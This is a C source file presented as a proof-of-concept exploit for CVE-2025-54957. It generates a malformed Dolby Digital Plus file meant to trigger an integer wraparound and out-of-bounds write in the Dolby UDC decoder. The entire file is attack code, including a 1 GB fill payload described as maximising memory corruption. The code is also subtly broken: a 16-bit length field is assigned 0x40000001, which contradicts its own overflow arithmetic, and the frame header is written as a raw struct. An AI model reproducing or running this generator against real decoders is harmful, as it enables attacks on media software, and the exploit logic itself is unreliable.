// CVE-2025-54957 PoC - Malformed DD+ Bitstream Generator
// This PoC generates a malformed Dolby Digital Plus bitstream with
// crafted Evolution data that triggers integer wraparound in evo_priv.c
// length calculation, leading to out-of-bounds write.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// DD+ frame sync word
#define DDPLUS_SYNC_WORD 0x0B77
// AC3/AC4 frame header structure (simplified)
typedef struct {
uint16_t sync_word; // Synchronization word (0x0B77)
uint16_t crc1; // CRC1
uint8_t fscod; // Sample rate code
uint8_t frmsizecod; // Frame size code
uint8_t bsid; // Bitstream identification
uint8_t bsmod; // Bitstream mode
uint8_t acmod; // Audio coding mode
// ... additional fields
} ddplus_frame_header_t;
// Evolution data block structure
typedef struct {
uint8_t evolution_type; // Type of evolution data
uint16_t evolution_length; // Length of evolution data (CRAFTED VALUE)
uint8_t *evolution_data; // Evolution payload
} evolution_block_t;
/*
* Craft a DD+ frame with malicious Evolution data.
* The evolution_length field is set to a value that, when processed by
* the vulnerable length calculation in evo_priv.c, causes integer
* wraparound resulting in a small buffer allocation followed by
* an out-of-bounds write.
*/
int generate_malformed_ddplus_bitstream(const char *output_file) {
FILE *fp = fopen(output_file, "wb");
if (!fp) {
perror("Failed to open output file");
return -1;
}
// Build DD+ frame header
ddplus_frame_header_t header;
memset(&header, 0, sizeof(header));
header.sync_word = DDPLUS_SYNC_WORD;
header.fscod = 0; // 48 kHz
header.frmsizecod = 0; // Minimal frame size
header.bsid = 16; // DD+ bitstream
header.bsmod = 0;
header.acmod = 2; // Stereo
// Write frame header
fwrite(&header, sizeof(header), 1, fp);
// Craft malicious Evolution data block
// The key: set evolution_length to a value that triggers integer
// wraparound. For example, if the vulnerable code computes:
// buf_size = evolution_length * some_multiplier
// We set evolution_length such that the multiplication overflows
// to a small value (e.g., 0x0001 or a very small number).
evolution_block_t evo;
memset(&evo, 0, sizeof(evo));
evo.evolution_type = 0x01; // Evolution type indicator
// Crafted length: when multiplied by internal factor causes wraparound
// Example: if factor is 4, setting length to 0x40000001 yields
// 0x40000001 * 4 = 0x100000004 -> truncated to 0x4 (overflow)
evo.evolution_length = 0x40000001;
// Write evolution block header
fwrite(&evo.evolution_type, sizeof(evo.evolution_type), 1, fp);
fwrite(&evo.evolution_length, sizeof(evo.evolution_length), 1, fp);
// Write actual evolution payload (much larger than the overflowed buffer)
// This data will be written out-of-bounds
size_t payload_size = 0x40000000; // 1GB of data to ensure overflow
uint8_t *payload = (uint8_t *)calloc(1, payload_size);
if (payload) {
// Fill with non-zero pattern to maximize corruption impact
memset(payload, 0x41, payload_size);
fwrite(payload, 1, payload_size, fp);
free(payload);
}
fclose(fp);
printf("[+] Malformed DD+ bitstream written to: %s\n", output_file);
printf("[+] Evolution length field: 0x%08x (crafted for integer wraparound)\n",
evo.evolution_length);
printf("[+] Payload size: %zu bytes (will overflow allocated buffer)\n",
payload_size);
return 0;
}
int main(int argc, char *argv[]) {
const char *output = (argc > 1) ? argv[1] : "malformed_ddplus.ec3";
printf("[*] CVE-2025-54957 PoC - Dolby UDC DD+ Decoder OOB Write\n");
printf("[*] Target: Dolby UDC 4.5 - 4.13 (evo_priv.c)\n");
return generate_malformed_ddplus_bitstream(output);
}